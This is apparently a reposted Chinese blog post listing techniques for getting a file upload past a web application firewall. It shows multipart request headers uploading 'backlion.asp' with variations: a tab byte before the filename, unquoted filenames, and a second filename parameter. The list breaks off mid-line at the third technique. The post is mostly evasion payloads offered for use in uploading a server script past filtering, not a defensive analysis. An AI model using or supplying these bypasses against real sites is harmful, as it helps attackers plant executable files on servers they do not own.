当前位置：网站首页>文件上传绕过WAF的技巧大全

文件上传绕过WAF的技巧大全

2022-07-27 18:28:00 【Cwillchris】

原始默认状态：

  1. ——WebKitFormBoundary2smpsxFB3D0KbA7D
  2. Content­Disposition: form­data; name=”filepath”; filename="backlion.asp”
  3. Content­Type: text/html

突破0，文件名前缀加[0x09]绕过：

  1. ——WebKitFormBoundary2smpsxFB3D0KbA7D
  2. Content­Disposition: form­data; name=”filepath”; filename=”[0x09]backlion.asp”
  3. Content­Type: text/html

突破1，文件名去掉双引号绕过：

  1. ——WebKitFormBoundary2smpsxFB3D0KbA7D
  2. Content­Disposition: form­data; name=”filepath”; filename=backlion.asp
  3. Content­Type: text/html

突破2，添加一个filename1的文件名参数，并赋值绕过：

  1. ——WebKitFor
原网站

版权声明
本文为[Cwillchris]所创，转载请带上原文链接，感谢
https://blog.csdn.net/weixin_59679023/article/details/125989968

边栏推荐

猜你喜欢

随机推荐